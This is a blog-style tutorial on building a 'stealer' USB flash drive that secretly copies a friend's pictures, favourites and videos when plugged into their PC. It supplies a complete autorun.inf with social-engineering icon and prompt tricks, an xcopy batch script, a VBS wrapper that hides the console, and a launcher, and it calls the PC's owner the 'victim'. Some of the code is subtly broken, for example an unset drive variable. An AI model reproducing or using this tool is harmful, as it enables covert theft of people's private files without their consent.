How to copy (steal) files from any computer to your Pendrive
Hello friends , have you ever been in a situation like you
want something from your friend’s PC like games , movies , videos , pictures
etc. which he or she is not giving to you. Now here I come with a trick you
just have to plug your USB Flash drive into your friend’s PC to automatically
copy files to your pen drive, secretly and silently. Just copy the files you
brought from their PC to complete the act.
Cool , isn’t it? So let’s create such a sinister USB Flash
drive.
STEP 1
First of all open Notepad (I will say use the Notepad++) and
copy-paste or type the following lines.
[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
Save this as autorun.inf
The icon line is optional. You can replace the icon to your
choice or leave it to the default icon. It’s just for social engineering purposes
like encouraging the user to click a file on the drive by making it looks like
a game or movie.
The “action=” command is also optional but sometimes when
the autorun launches it may ask the user what to open. Depending on what you
put here the user will be instructed to click Ok or run the file. This code
will work as a backup plan just in case the user is asked what to open. This
steps are not necessary if you yourself are using the computer.
The “shell/open command” also works as a backup plan in case
the user clicks on cancel and not on open when prompted. This code gets executed
when the user clicks on the drive letter.
STEP 2
Open Notepad once again and enter the following lines
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites”
“%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls
Save this as file.bat
This file is configured to copy the contents of the current
user’s pictures, favourites, and videos folder to the Flash drive under a
folder called “all”. Now important step this is the section of the code you
will need to edit depending on what you want to copy.
The first file path “%USERPROFILE%\pictures” – is the
target.
The second file path “%drive%\all\My pics” – is the
destination.
STEP 3
Open Notepad third time and copy-paste the following line.
CreateObject(“Wscript.Shell”).Run “””” &
WScript.Arguments(0) & “”””, 0, False
Save this as invisible.vbs
This code will run the file.bat as a process so it will not
be shown in the CMD prompt and everything the batch file is processing.
STEP 4
Open Notepad one last time and enter the following line.
wscript.exe \invisible.vbs file.bat
Save this as launch.bat
This batch file has two uses , firstly it looks for the
invisible.vbs file in the root of the Flash drive then secondly it loads that
.vbs file with file.bat such that the file.bat is run with code from vbs file.
STEP 5
Now copy all 4 files created in the above steps and then put
it on the root of the Flash drive , including the icon file if it is needed.
Also, create a folder with name “all” where all of the contents will get copied
automatically. You can replace this folder’s name by any name, but then you
will also have to make changes instep 2.
That’s it you have created your own stealer pen drive . Before
playing it out on your victim test the flash drive on your own computer first .
It works flawlessly.
Thanks For Reading If You Like This Information And Found It Useful Please Subscribe For Email Alerts
Comments
Post a Comment